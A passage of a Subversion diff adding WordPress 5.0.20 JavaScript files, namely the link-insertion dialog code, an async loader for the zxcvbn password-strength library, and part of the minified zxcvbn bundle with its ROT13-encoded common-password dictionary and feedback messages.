+				ed = window.tinymce.get( window.wpActiveEditor );
+
+				if ( ed && ! ed.isHidden() ) {
+					editor = ed;
+				} else {
+					editor = null;
+				}
+			}
+
+			if ( ! wpLink.isMCE() && document.selection ) {
+				this.textarea.focus();
+				this.range = document.selection.createRange();
+			}
+
+			inputs.wrap.show();
+			inputs.backdrop.show();
+
+			wpLink.refresh( url, text );
+
+			$( document ).trigger( 'wplink-open', inputs.wrap );
+		},
+
+		isMCE: function() {
+			return editor && ! editor.isHidden();
+		},
+
+		refresh: function( url, text ) {
+			var linkText = '';
+
+			// Refresh rivers (clear links, check visibility)
+			rivers.search.refresh();
+			rivers.recent.refresh();
+
+			if ( wpLink.isMCE() ) {
+				wpLink.mceRefresh( url, text );
+			} else {
+				// For the Text editor the "Link text" field is always shown
+				if ( ! inputs.wrap.hasClass( 'has-text-field' ) ) {
+					inputs.wrap.addClass( 'has-text-field' );
+				}
+
+				if ( document.selection ) {
+					// Old IE
+					linkText = document.selection.createRange().text || text || '';
+				} else if ( typeof this.textarea.selectionStart !== 'undefined' &&
+					( this.textarea.selectionStart !== this.textarea.selectionEnd ) ) {
+					// W3C
+					text = this.textarea.value.substring( this.textarea.selectionStart, this.textarea.selectionEnd ) || text || '';
+				}
+
+				inputs.text.val( text );
+				wpLink.setDefaultValues();
+			}
+
+			if ( isTouch ) {
+				// Close the onscreen keyboard
+				inputs.url.focus().blur();
+			} else {
+				// Focus the URL field and highlight its contents.
+				// If this is moved above the selection changes,
+				// IE will show a flashing cursor over the dialog.
+				window.setTimeout( function() {
+					inputs.url[0].select();
+					inputs.url.focus();
+				} );
+			}
+
+			// Load the most recent results if this is the first time opening the panel.
+			if ( ! rivers.recent.ul.children().length ) {
+				rivers.recent.ajax();
+			}
+
+			correctedURL = inputs.url.val().replace( /^http:\/\//, '' );
+		},
+
+		hasSelectedText: function( linkNode ) {
+			var node, nodes, i, html = editor.selection.getContent();
+
+			// Partial html and not a fully selected anchor element
+			if ( /</.test( html ) && ( ! /^<a [^>]+>[^<]+<\/a>$/.test( html ) || html.indexOf('href=') === -1 ) ) {
+				return false;
+			}
+
+			if ( linkNode ) {
+				nodes = linkNode.childNodes;
+
+				if ( nodes.length === 0 ) {
+					return false;
+				}
+
+				for ( i = nodes.length - 1; i >= 0; i-- ) {
+					node = nodes[i];
+
+					if ( node.nodeType != 3 && ! window.tinymce.dom.BookmarkManager.isBookmarkNode( node ) ) {
+						return false;
+					}
+				}
+			}
+
+			return true;
+		},
+
+		mceRefresh: function( searchStr, text ) {
+			var linkText, href,
+				linkNode = getLink(),
+				onlyText = this.hasSelectedText( linkNode );
+
+			if ( linkNode ) {
+				linkText = linkNode.textContent || linkNode.innerText;
+				href = editor.dom.getAttrib( linkNode, 'href' );
+
+				if ( ! $.trim( linkText ) ) {
+					linkText = text || '';
+				}
+
+				if ( searchStr && ( urlRegexp.test( searchStr ) || emailRegexp.test( searchStr ) ) ) {
+					href = searchStr;
+				}
+
+				if ( href !== '_wp_link_placeholder' ) {
+					inputs.url.val( href );
+					inputs.openInNewTab.prop( 'checked', '_blank' === editor.dom.getAttrib( linkNode, 'target' ) );
+					inputs.submit.val( wpLinkL10n.update );
+				} else {
+					this.setDefaultValues( linkText );
+				}
+
+				if ( searchStr && searchStr !== href ) {
+					// The user has typed something in the inline dialog. Trigger a search with it.
+					inputs.search.val( searchStr );
+				} else {
+					inputs.search.val( '' );
+				}
+
+				// Always reset the search
+				window.setTimeout( function() {
+					wpLink.searchInternalLinks();
+				} );
+			} else {
+				linkText = editor.selection.getContent({ format: 'text' }) || text || '';
+				this.setDefaultValues( linkText );
+			}
+
+			if ( onlyText ) {
+				inputs.text.val( linkText );
+				inputs.wrap.addClass( 'has-text-field' );
+			} else {
+				inputs.text.val( '' );
+				inputs.wrap.removeClass( 'has-text-field' );
+			}
+		},
+
+		close: function( reset ) {
+			$( document.body ).removeClass( 'modal-open' );
+			wpLink.modalOpen = false;
+
+			if ( reset !== 'noReset' ) {
+				if ( ! wpLink.isMCE() ) {
+					wpLink.textarea.focus();
+
+					if ( wpLink.range ) {
+						wpLink.range.moveToBookmark( wpLink.range.getBookmark() );
+						wpLink.range.select();
+					}
+				} else {
+					if ( editor.plugins.wplink ) {
+						editor.plugins.wplink.close();
+					}
+
+					editor.focus();
+				}
+			}
+
+			inputs.backdrop.hide();
+			inputs.wrap.hide();
+
+			correctedURL = false;
+
+			$( document ).trigger( 'wplink-close', inputs.wrap );
+		},
+
+		getAttrs: function() {
+			wpLink.correctURL();
+
+			return {
+				href: $.trim( inputs.url.val() ),
+				target: inputs.openInNewTab.prop( 'checked' ) ? '_blank' : null
+			};
+		},
+
+		buildHtml: function(attrs) {
+			var html = '<a href="' + attrs.href + '"';
+
+			if ( attrs.target ) {
+				html += ' rel="noopener" target="' + attrs.target + '"';
+			}
+
+			return html + '>';
+		},
+
+		update: function() {
+			if ( wpLink.isMCE() ) {
+				wpLink.mceUpdate();
+			} else {
+				wpLink.htmlUpdate();
+			}
+		},
+
+		htmlUpdate: function() {
+			var attrs, text, html, begin, end, cursor, selection,
+				textarea = wpLink.textarea;
+
+			if ( ! textarea ) {
+				return;
+			}
+
+			attrs = wpLink.getAttrs();
+			text = inputs.text.val();
+
+			var parser = document.createElement( 'a' );
+			parser.href = attrs.href;
+
+			if ( 'javascript:' === parser.protocol || 'data:' === parser.protocol ) { // jshint ignore:line
+				attrs.href = '';
+			}
+
+			// If there's no href, return.
+			if ( ! attrs.href ) {
+				return;
+			}
+
+			html = wpLink.buildHtml(attrs);
+
+			// Insert HTML
+			if ( document.selection && wpLink.range ) {
+				// IE
+				// Note: If no text is selected, IE will not place the cursor
+				//       inside the closing tag.
+				textarea.focus();
+				wpLink.range.text = html + ( text || wpLink.range.text ) + '</a>';
+				wpLink.range.moveToBookmark( wpLink.range.getBookmark() );
+				wpLink.range.select();
+
+				wpLink.range = null;
+			} else if ( typeof textarea.selectionStart !== 'undefined' ) {
+				// W3C
+				begin = textarea.selectionStart;
+				end = textarea.selectionEnd;
+				selection = text || textarea.value.substring( begin, end );
+				html = html + selection + '</a>';
+				cursor = begin + html.length;
+
+				// If no text is selected, place the cursor inside the closing tag.
+				if ( begin === end && ! selection ) {
+					cursor -= 4;
+				}
+
+				textarea.value = (
+					textarea.value.substring( 0, begin ) +
+					html +
+					textarea.value.substring( end, textarea.value.length )
+				);
+
+				// Update cursor position
+				textarea.selectionStart = textarea.selectionEnd = cursor;
+			}
+
+			wpLink.close();
+			textarea.focus();
+			$( textarea ).trigger( 'change' );
+
+			// Audible confirmation message when a link has been inserted in the Editor.
+			wp.a11y.speak( wpLinkL10n.linkInserted );
+		},
+
+		mceUpdate: function() {
+			var attrs = wpLink.getAttrs(),
+				$link, text, hasText, $mceCaret;
+
+			var parser = document.createElement( 'a' );
+			parser.href = attrs.href;
+
+			if ( 'javascript:' === parser.protocol || 'data:' === parser.protocol ) { // jshint ignore:line
+				attrs.href = '';
+			}
+
+			if ( ! attrs.href ) {
+				editor.execCommand( 'unlink' );
+				wpLink.close();
+				return;
+			}
+
+			$link = editor.$( getLink() );
+
+			editor.undoManager.transact( function() {
+				if ( ! $link.length ) {
+					editor.execCommand( 'mceInsertLink', false, { href: '_wp_link_placeholder', 'data-wp-temp-link': 1 } );
+					$link = editor.$( 'a[data-wp-temp-link="1"]' ).removeAttr( 'data-wp-temp-link' );
+					hasText = $.trim( $link.text() );
+				}
+
+				if ( ! $link.length ) {
+					editor.execCommand( 'unlink' );
+				} else {
+					if ( inputs.wrap.hasClass( 'has-text-field' ) ) {
+						text = inputs.text.val();
+
+						if ( text ) {
+							$link.text( text );
+						} else if ( ! hasText ) {
+							$link.text( attrs.href );
+						}
+					}
+
+					attrs['data-wplink-edit'] = null;
+					attrs['data-mce-href'] = null; // attrs.href
+					$link.attr( attrs );
+				}
+			} );
+
+			wpLink.close( 'noReset' );
+			editor.focus();
+
+			if ( $link.length ) {
+				$mceCaret = $link.parent( '#_mce_caret' );
+
+				if ( $mceCaret.length ) {
+					$mceCaret.before( $link.removeAttr( 'data-mce-bogus' ) );
+				}
+
+				editor.selection.select( $link[0] );
+				editor.selection.collapse();
+
+				if ( editor.plugins.wplink ) {
+					editor.plugins.wplink.checkLink( $link[0] );
+				}
+			}
+
+			editor.nodeChanged();
+
+			// Audible confirmation message when a link has been inserted in the Editor.
+			wp.a11y.speak( wpLinkL10n.linkInserted );
+		},
+
+		updateFields: function( e, li ) {
+			inputs.url.val( li.children( '.item-permalink' ).val() );
+		},
+
+		getUrlFromSelection: function( selection ) {
+			if ( ! selection ) {
+				if ( this.isMCE() ) {
+					selection = editor.selection.getContent({ format: 'text' });
+				} else if ( document.selection && wpLink.range ) {
+					selection = wpLink.range.text;
+				} else if ( typeof this.textarea.selectionStart !== 'undefined' ) {
+					selection = this.textarea.value.substring( this.textarea.selectionStart, this.textarea.selectionEnd );
+				}
+			}
+
+			selection = $.trim( selection );
+
+			if ( selection && emailRegexp.test( selection ) ) {
+				// Selection is email address
+				return 'mailto:' + selection;
+			} else if ( selection && urlRegexp.test( selection ) ) {
+				// Selection is URL
+				return selection.replace( /&amp;|&#0?38;/gi, '&' );
+			}
+
+			return '';
+		},
+
+		setDefaultValues: function( selection ) {
+			inputs.url.val( this.getUrlFromSelection( selection ) );
+
+			// Empty the search field and swap the "rivers".
+			inputs.search.val('');
+			wpLink.searchInternalLinks();
+
+			// Update save prompt.
+			inputs.submit.val( wpLinkL10n.save );
+		},
+
+		searchInternalLinks: function() {
+			var waiting,
+				search = inputs.search.val() || '';
+
+			if ( search.length > 2 ) {
+				rivers.recent.hide();
+				rivers.search.show();
+
+				// Don't search if the keypress didn't change the title.
+				if ( wpLink.lastSearch == search )
+					return;
+
+				wpLink.lastSearch = search;
+				waiting = inputs.search.parent().find( '.spinner' ).addClass( 'is-active' );
+
+				rivers.search.change( search );
+				rivers.search.ajax( function() {
+					waiting.removeClass( 'is-active' );
+				});
+			} else {
+				rivers.search.hide();
+				rivers.recent.show();
+			}
+		},
+
+		next: function() {
+			rivers.search.next();
+			rivers.recent.next();
+		},
+
+		prev: function() {
+			rivers.search.prev();
+			rivers.recent.prev();
+		},
+
+		keydown: function( event ) {
+			var fn, id;
+
+			// Escape key.
+			if ( 27 === event.keyCode ) {
+				wpLink.close();
+				event.stopImmediatePropagation();
+			// Tab key.
+			} else if ( 9 === event.keyCode ) {
+				id = event.target.id;
+
+				// wp-link-submit must always be the last focusable element in the dialog.
+				// following focusable elements will be skipped on keyboard navigation.
+				if ( id === 'wp-link-submit' && ! event.shiftKey ) {
+					inputs.close.focus();
+					event.preventDefault();
+				} else if ( id === 'wp-link-close' && event.shiftKey ) {
+					inputs.submit.focus();
+					event.preventDefault();
+				}
+			}
+
+			// Up Arrow and Down Arrow keys.
+			if ( event.shiftKey || ( 38 !== event.keyCode && 40 !== event.keyCode ) ) {
+				return;
+			}
+
+			if ( document.activeElement &&
+				( document.activeElement.id === 'link-title-field' || document.activeElement.id === 'url-field' ) ) {
+				return;
+			}
+
+			// Up Arrow key.
+			fn = 38 === event.keyCode ? 'prev' : 'next';
+			clearInterval( wpLink.keyInterval );
+			wpLink[ fn ]();
+			wpLink.keyInterval = setInterval( wpLink[ fn ], wpLink.keySensitivity );
+			event.preventDefault();
+		},
+
+		keyup: function( event ) {
+			// Up Arrow and Down Arrow keys.
+			if ( 38 === event.keyCode || 40 === event.keyCode ) {
+				clearInterval( wpLink.keyInterval );
+				event.preventDefault();
+			}
+		},
+
+		delayedCallback: function( func, delay ) {
+			var timeoutTriggered, funcTriggered, funcArgs, funcContext;
+
+			if ( ! delay )
+				return func;
+
+			setTimeout( function() {
+				if ( funcTriggered )
+					return func.apply( funcContext, funcArgs );
+				// Otherwise, wait.
+				timeoutTriggered = true;
+			}, delay );
+
+			return function() {
+				if ( timeoutTriggered )
+					return func.apply( this, arguments );
+				// Otherwise, wait.
+				funcArgs = arguments;
+				funcContext = this;
+				funcTriggered = true;
+			};
+		}
+	};
+
+	River = function( element, search ) {
+		var self = this;
+		this.element = element;
+		this.ul = element.children( 'ul' );
+		this.contentHeight = element.children( '#link-selector-height' );
+		this.waiting = element.find('.river-waiting');
+
+		this.change( search );
+		this.refresh();
+
+		$( '#wp-link .query-results, #wp-link #link-selector' ).scroll( function() {
+			self.maybeLoad();
+		});
+		element.on( 'click', 'li', function( event ) {
+			self.select( $( this ), event );
+		});
+	};
+
+	$.extend( River.prototype, {
+		refresh: function() {
+			this.deselect();
+			this.visible = this.element.is( ':visible' );
+		},
+		show: function() {
+			if ( ! this.visible ) {
+				this.deselect();
+				this.element.show();
+				this.visible = true;
+			}
+		},
+		hide: function() {
+			this.element.hide();
+			this.visible = false;
+		},
+		// Selects a list item and triggers the river-select event.
+		select: function( li, event ) {
+			var liHeight, elHeight, liTop, elTop;
+
+			if ( li.hasClass( 'unselectable' ) || li == this.selected )
+				return;
+
+			this.deselect();
+			this.selected = li.addClass( 'selected' );
+			// Make sure the element is visible
+			liHeight = li.outerHeight();
+			elHeight = this.element.height();
+			liTop = li.position().top;
+			elTop = this.element.scrollTop();
+
+			if ( liTop < 0 ) // Make first visible element
+				this.element.scrollTop( elTop + liTop );
+			else if ( liTop + liHeight > elHeight ) // Make last visible element
+				this.element.scrollTop( elTop + liTop - elHeight + liHeight );
+
+			// Trigger the river-select event
+			this.element.trigger( 'river-select', [ li, event, this ] );
+		},
+		deselect: function() {
+			if ( this.selected )
+				this.selected.removeClass( 'selected' );
+			this.selected = false;
+		},
+		prev: function() {
+			if ( ! this.visible )
+				return;
+
+			var to;
+			if ( this.selected ) {
+				to = this.selected.prev( 'li' );
+				if ( to.length )
+					this.select( to );
+			}
+		},
+		next: function() {
+			if ( ! this.visible )
+				return;
+
+			var to = this.selected ? this.selected.next( 'li' ) : $( 'li:not(.unselectable):first', this.element );
+			if ( to.length )
+				this.select( to );
+		},
+		ajax: function( callback ) {
+			var self = this,
+				delay = this.query.page == 1 ? 0 : wpLink.minRiverAJAXDuration,
+				response = wpLink.delayedCallback( function( results, params ) {
+					self.process( results, params );
+					if ( callback )
+						callback( results, params );
+				}, delay );
+
+			this.query.ajax( response );
+		},
+		change: function( search ) {
+			if ( this.query && this._search == search )
+				return;
+
+			this._search = search;
+			this.query = new Query( search );
+			this.element.scrollTop( 0 );
+		},
+		process: function( results, params ) {
+			var list = '', alt = true, classes = '',
+				firstPage = params.page == 1;
+
+			if ( ! results ) {
+				if ( firstPage ) {
+					list += '<li class="unselectable no-matches-found"><span class="item-title"><em>' +
+						wpLinkL10n.noMatchesFound + '</em></span></li>';
+				}
+			} else {
+				$.each( results, function() {
+					classes = alt ? 'alternate' : '';
+					classes += this.title ? '' : ' no-title';
+					list += classes ? '<li class="' + classes + '">' : '<li>';
+					list += '<input type="hidden" class="item-permalink" value="' + this.permalink + '" />';
+					list += '<span class="item-title">';
+					list += this.title ? this.title : wpLinkL10n.noTitle;
+					list += '</span><span class="item-info">' + this.info + '</span></li>';
+					alt = ! alt;
+				});
+			}
+
+			this.ul[ firstPage ? 'html' : 'append' ]( list );
+		},
+		maybeLoad: function() {
+			var self = this,
+				el = this.element,
+				bottom = el.scrollTop() + el.height();
+
+			if ( ! this.query.ready() || bottom < this.contentHeight.height() - wpLink.riverBottomThreshold )
+				return;
+
+			setTimeout(function() {
+				var newTop = el.scrollTop(),
+					newBottom = newTop + el.height();
+
+				if ( ! self.query.ready() || newBottom < self.contentHeight.height() - wpLink.riverBottomThreshold )
+					return;
+
+				self.waiting.addClass( 'is-active' );
+				el.scrollTop( newTop + self.waiting.outerHeight() );
+
+				self.ajax( function() {
+					self.waiting.removeClass( 'is-active' );
+				});
+			}, wpLink.timeToTriggerRiver );
+		}
+	});
+
+	Query = function( search ) {
+		this.page = 1;
+		this.allLoaded = false;
+		this.querying = false;
+		this.search = search;
+	};
+
+	$.extend( Query.prototype, {
+		ready: function() {
+			return ! ( this.querying || this.allLoaded );
+		},
+		ajax: function( callback ) {
+			var self = this,
+				query = {
+					action : 'wp-link-ajax',
+					page : this.page,
+					'_ajax_linking_nonce' : inputs.nonce.val()
+				};
+
+			if ( this.search )
+				query.search = this.search;
+
+			this.querying = true;
+
+			$.post( window.ajaxurl, query, function( r ) {
+				self.page++;
+				self.querying = false;
+				self.allLoaded = ! r;
+				callback( r, query );
+			}, 'json' );
+		}
+	});
+
+	$( document ).ready( wpLink.init );
+})( jQuery, window.wpLinkL10n, window.wp );
Index: /tags/5.0.20/src/wp-includes/js/zxcvbn-async.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/zxcvbn-async.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/zxcvbn-async.js	(revision 56912)
@@ -0,0 +1,18 @@
+/* global _zxcvbnSettings */
+(function() {
+  var async_load = function() {
+    var first, s;
+    s = document.createElement('script');
+    s.src = _zxcvbnSettings.src;
+    s.type = 'text/javascript';
+    s.async = true;
+    first = document.getElementsByTagName('script')[0];
+    return first.parentNode.insertBefore(s, first);
+  };
+
+  if (window.attachEvent != null) {
+    window.attachEvent('onload', async_load);
+  } else {
+    window.addEventListener('load', async_load, false);
+  }
+}).call(this);
Index: /tags/5.0.20/src/wp-includes/js/zxcvbn.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/zxcvbn.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/zxcvbn.min.js	(revision 56912)
@@ -0,0 +1,31 @@
+/*! zxcvbn - v4.4.1
+ * realistic password strength estimation
+ * https://github.com/dropbox/zxcvbn
+ * Copyright (c) 2012 Dropbox, Inc.; Licensed MIT */
+(function(f){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=f()}else if(typeof define==="function"&&define.amd){define([],f)}else{var g;if(typeof window!=="undefined"){g=window}else if(typeof global!=="undefined"){g=global}else if(typeof self!=="undefined"){g=self}else{g=this}g.zxcvbn = f()}})(function(){var define,module,exports;return (function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){
+var 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+
+},{}],2:[function(require,module,exports){
+var feedback,scoring;scoring=require("./scoring"),feedback={default_feedback:{warning:"",suggestions:["Use a few words, avoid common phrases","No need for symbols, digits, or uppercase letters"]},get_feedback:function(e,s){var a,t,r,n,o,i;if(0===s.length)return this.default_feedback;if(e>2)return{warning:"",suggestions:[]};for(n=s[0],i=s.slice(1),t=0,r=i.length;t<r;t++)o=i[t],o.token.length>n.token.length&&(n=o);return feedback=this.get_match_feedback(n,1===s.length),a="Add another word or two. Uncommon words are better.",null!=feedback?(feedback.suggestions.unshift(a),null==feedback.warning&&(feedback.warning="")):feedback={warning:"",suggestions:[a]},feedback},get_match_feedback:function(e,s){var a,t;switch(e.pattern){case"dictionary":return this.get_dictionary_match_feedback(e,s);case"spatial":return a=e.graph.toUpperCase(),t=1===e.turns?"Straight rows of keys are easy to guess":"Short keyboard patterns are easy to guess",{warning:t,suggestions:["Use a longer keyboard pattern with more turns"]};case"repeat":return t=1===e.base_token.length?'Repeats like "aaa" are easy to guess':'Repeats like "abcabcabc" are only slightly harder to guess than "abc"',{warning:t,suggestions:["Avoid repeated words and characters"]};case"sequence":return{warning:"Sequences like abc or 6543 are easy to guess",suggestions:["Avoid sequences"]};case"regex":if("recent_year"===e.regex_name)return{warning:"Recent years are easy to guess",suggestions:["Avoid recent years","Avoid years that are associated with you"]};break;case"date":return{warning:"Dates are often easy to guess",suggestions:["Avoid dates and years that are associated with you"]}}},get_dictionary_match_feedback:function(e,s){var a,t,r,n,o;return n="passwords"===e.dictionary_name?!s||e.l33t||e.reversed?e.guesses_log10<=4?"This is similar to a commonly used password":void 0:e.rank<=10?"This is a top-10 common password":e.rank<=100?"This is a top-100 common password":"This is a very common password":"english"===e.dictionary_name?s?"A word by itself is easy to guess":void 0:"surnames"===(a=e.dictionary_name)||"male_names"===a||"female_names"===a?s?"Names and surnames by themselves are easy to guess":"Common names and surnames are easy to guess":"",r=[],o=e.token,o.match(scoring.START_UPPER)?r.push("Capitalization doesn't help very much"):o.match(scoring.ALL_UPPER)&&o.toLowerCase()!==o&&r.push("All-uppercase is almost as easy to guess as all-lowercase"),e.reversed&&e.token.length>=4&&r.push("Reversed words aren't much harder to guess"),e.l33t&&r.push("Predictable substitutions like '@' instead of 'a' don't help very much"),t={warning:n,suggestions:r}}},module.exports=feedback;
+
+},{"./scoring":6}],3:[function(require,module,exports){
+var frequency_lists;frequency_lists={passwords:"123456,cnffjbeq,12345678,djregl,123456789,12345,1234,111111,1234567,qentba,123123,onfronyy,nop123,sbbgonyy,zbaxrl,yrgzrva,funqbj,znfgre,696969,zhfgnat,666666,djreglhvbc,123321,1234567890,chffl,fhcrezna,654321,1dnm2jfk,7777777,shpxlbh,dnmjfk,wbeqna,123djr,000000,xvyyre,gehfgab1,uhagre,uneyrl,mkpioaz,nfqstu,ohfgre,ongzna,fbppre,gvttre,puneyvr,fhafuvar,vybirlbh,shpxzr,enatre,ubpxrl,pbzchgre,fgnejnef,nffubyr,crccre,xynfgre,112233,mkpioa,serrqbz,cevaprff,znttvr,cnff,tvatre,11111111,131313,shpx,ybir,purrfr,159753,fhzzre,puryfrn,qnyynf,ovgrzr,zngevk,lnaxrrf,6969,pbeirggr,nhfgva,npprff,guhaqre,zreyva,frperg,qvnzbaq,uryyb,unzzre,shpxre,1234djre,fvyire,tsuwxz,vagrearg,fnznagun,tbysre,fpbbgre,grfg,benatr,pbbxvr,d1j2r3e4g5,znirevpx,fcnexl,cubravk,zvpxrl,ovtqbt,fabbcl,thvgne,jungrire,puvpxra,pnzneb,zreprqrf,crnahg,sreenev,snypba,pbjobl,jrypbzr,frkl,fnzfhat,fgrryref,fzbxrl,qnxbgn,nefrany,obbzre,rntyrf,gvtref,znevan,anfpne,obbobb,tngrjnl,lryybj,cbefpur,zbafgre,fcvqre,qvnoyb,unaanu,ohyyqbt,whavbe,ybaqba,checyr,pbzcnd,ynxref,vprzna,djre1234,uneqpber,pbjoblf,zbarl,onanan,app1701,obfgba,graavf,d1j2r3e4,pbssrr,fpbbol,123654,avxvgn,lnznun,zbgure,onearl,oenaql,purfgre,shpxbss,byvire,cynlre,sberire,enatref,zvqavtug,puvpntb,ovtqnqql,erqfbk,natry,onqobl,sraqre,wnfcre,fynlre,enoovg,angnfun,znevar,ovtqvpx,jvmneq,zneyobeb,envqref,cevapr,pnfcre,svfuvat,sybjre,wnfzvar,vjnagh,cnagvrf,nqvqnf,jvagre,jvaare,tnaqnys,cnffjbeq1,ragre,tuoqga,1d2j3r4e,tbyqra,pbpnpbyn,wbeqna23,jvafgba,znqvfba,natryf,cnagure,oybjzr,frkfrk,ovtgvgf,fcnaxl,ovgpu,fbcuvr,nfqsnfqs,ubeal,guk1138,gblbgn,gvtre,qvpx,pnanqn,12344321,oybjwbo,8675309,zhssva,yvirecbb,nccyrf,djregl123,cnffj0eq,nopq1234,cbxrzba,123nop,fyvcxabg,dnmkfj,123456n,fpbecvba,djnfmk,ohggre,fgnegerx,envaobj,nfqstuwxy,enmm,arjlbex,erqfxvaf,trzvav,pnzreba,dnmjfkrqp,sybevqn,yvirecbby,ghegyr,fvreen,ivxvat,obbtre,ohggurnq,qbpgbe,ebpxrg,159357,qbycuvaf,pncgnva,onaqvg,wnthne,cnpxref,cbbxvr,crnpurf,789456,nfqs,qbycuva,uryczr,oyhr,gurzna,znkjryy,djreglhv,fuvgurnq,ybiref,znqqbt,tvnagf,aveinan,zrgnyyvp,ubgqbt,ebfrohq,zbhagnva,jneevbe,fghcvq,ryrcunag,fhpxvg,fhpprff,obaq007,wnpxnff,nyrkvf,cbea,yhpxl,fpbecvb,fnzfba,d1j2r3,nmregl,ehfu2112,qevire,serqql,1d2j3r4e5g,flqarl,tngbef,qrkgre,erq123,123456d,12345n,ohoon,perngvir,ibbqbb,tbys,gebhoyr,nzrevpn,avffna,thaare,tnesvryq,ohyyfuvg,nfqstuwx,5150,shpxvat,ncbyyb,1dnmkfj2,2112,rzvarz,yrtraq,nveobear,orne,ornivf,nccyr,oebbxyla,tbqmvyyn,fxvccl,4815162342,ohqql,djreg,xvggra,zntvp,furyol,ornire,cunagbz,nfqnfq,knivre,oenirf,qnexarff,oyvax182,pbccre,cyngvahz,djrdjr,gbzpng,01012011,tveyf,ovtobl,102030,navzny,cbyvpr,bayvar,11223344,iblntre,yvsrunpx,12djnfmk,svfu,favcre,315475,gevavgl,oynmre,urnira,ybire,fabjonyy,cynlobl,ybirzr,ohooyrf,ubbgref,pevpxrg,jvyybj,qbaxrl,gbctha,avagraqb,fnghea,qrfgval,cnxvfgna,chzcxva,qvtvgny,fretrl,erqjvatf,rkcybere,gvgf,cevingr,ehaare,gurebpx,thvaarff,ynfirtnf,orngyrf,789456123,sver,pnffvr,puevfgva,djregl1,prygvp,nfqs1234,naqerl,oebapbf,007007,onoltvey,rpyvcfr,syhssl,pnegzna,zvpuvtna,pnebyvan,grfgvat,nyrknaqr,oveqvr,cnagren,pureel,inzcver,zrkvpb,qvpxurnq,ohssnyb,travhf,zbagnan,orre,zvarpensg,znkvzhf,sylref,ybiryl,fgnyxre,zrgnyyvpn,qbttvr,favpxref,fcrrql,oebapb,yby123,cnenqvfr,lnaxrr,ubefrf,zntahz,qernzf,147258369,ynpebffr,bh812,tbbore,ravtzn,djreglh,fpbggl,cvzcva,obyybpxf,fhesre,pbpx,cbbuorne,trarfvf,fgne,nfq123,djrnfqmkp,enpvat,uryyb1,unjnvv,rntyr1,ivcre,cbbcbb,rvafgrva,obbovrf,12345d,ovgpurf,qebjffnc,fvzcyr,onqtre,nynfxn,npgvba,wrfgre,qehzzre,111222,fcvgsver,sberfg,znelwnar,punzcvba,qvrfry,firgynan,sevqnl,ubgebq,147258,puril,yhpxl1,jrfgfvqr,frphevgl,tbbtyr,onqnff,grfgre,fubegl,guhzcre,uvgzna,zbmneg,mnd12jfk,obbof,erqqbt,010203,yvmneq,n123456,123456789n,ehfyna,rntyr,1232323d,fpnesnpr,djregl12,147852,n12345,ohqqun,cbeab,420420,fcvevg,zbarl1,fgnetngr,djr123,anehgb,zrephel,yvoregl,12345djreg,frzcresv,fhmhxv,cbcpbea,fcbbxl,zneyrl,fpbgynaq,xvggl,purebxrr,ivxvatf,fvzcfbaf,enfpny,djrnfq,uhzzre,ybirlbh,zvpunry1,cngpurf,ehffvn,whcvgre,crathva,cnffvba,phzfubg,isuols,ubaqn,iynqvzve,fnaqzna,cnffcbeg,envqre,onfgneq,123789,vasvavgl,nffzna,ohyyqbtf,snagnfl,fhpxre,1234554321,ubearl,qbzvab,ohqyvtug,qvfarl,vebazna,hfhpxonyym1,fbsgonyy,oehghf,erqehz,ovterq,zaoipkm,sxgepslyu,xnevan,znevarf,qvttre,xnjnfnxv,pbhtne,sverzna,bxfnan,zbaqnl,phag,whfgvpr,avttre,fhcre,jvyqpngf,gvaxre,ybtvgrpu,qnapre,fjbeqsvf,ninyba,riregba,nyrknaqe,zbgbebyn,cngevbgf,uragnv,znqbaan,chffl1,qhpngv,pbybenqb,pbaabe,whiraghf,tnyber,fzbbgu,serrhfre,jnepensg,obbtvr,gvgnavp,jbyireva,ryvmnorg,nevmban,inyragva,fnvagf,nfqst,nppbeq,grfg123,cnffjbeq123,puevfg,lsasvs,fgvaxl,fyhg,fcvqrezn,anhtugl,pubccre,uryyb123,app1701q,rkgerzr,fxlyvar,cbbc,mbzovr,crneywnz,123djrnfq,sebttl,njrfbzr,ivfvba,cvengr,slyugd,qernzre,ohyyrg,cerqngbe,rzcver,123123n,xvevyy,puneyvr1,cnaguref,cravf,fxvccre,arzrfvf,enfqmi3,crrxnobb,ebyygvqr,pneqvany,cflpub,qnatre,zbbxvr,unccl1,jnaxre,puriryyr,znahgq,tboyhr,9379992,uboorf,irtrgn,slspaspom,852456,cvpneq,159951,jvaqbjf,ybireobl,ivpgbel,isepoi,onzonz,fre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+
+},{}],4:[function(require,module,exports){
+var feedback,matching,rot_13,scoring,time,time_estimates,zxcvbn;matching=require("./matching"),scoring=require("./scoring"),time_estimates=require("./time_estimates"),feedback=require("./feedback"),time=function(){return(new Date).getTime()},rot_13=function(e){return e.replace(/[a-zA-Z]/g,function(e){return String.fromCharCode((e<="Z"?90:122)>=(e=e.charCodeAt(0)+13)?e:e-26)})},zxcvbn=function(e,t){var i,r,n,c,a,s,m,o,u,g,_;for(null==t&&(t=[]),g=time(),u=[],n=0,c=t.length;n<c;n++)i=t[n],"string"!=(m=typeof i)&&"number"!==m&&"boolean"!==m||u.push(rot_13(i.toString().toLowerCase()));matching.set_user_input_dictionary(u),a=matching.omnimatch(e),o=scoring.most_guessable_match_sequence(e,a),o.calc_time=time()-g,r=time_estimates.estimate_attack_times(o.guesses);for(s in r)_=r[s],o[s]=_;return o.feedback=feedback.get_feedback(o.score,o.sequence),o},module.exports=zxcvbn;
+
+},{"./feedback":2,"./matching":5,"./scoring":6,"./time_estimates":7}],5:[function(require,module,exports){
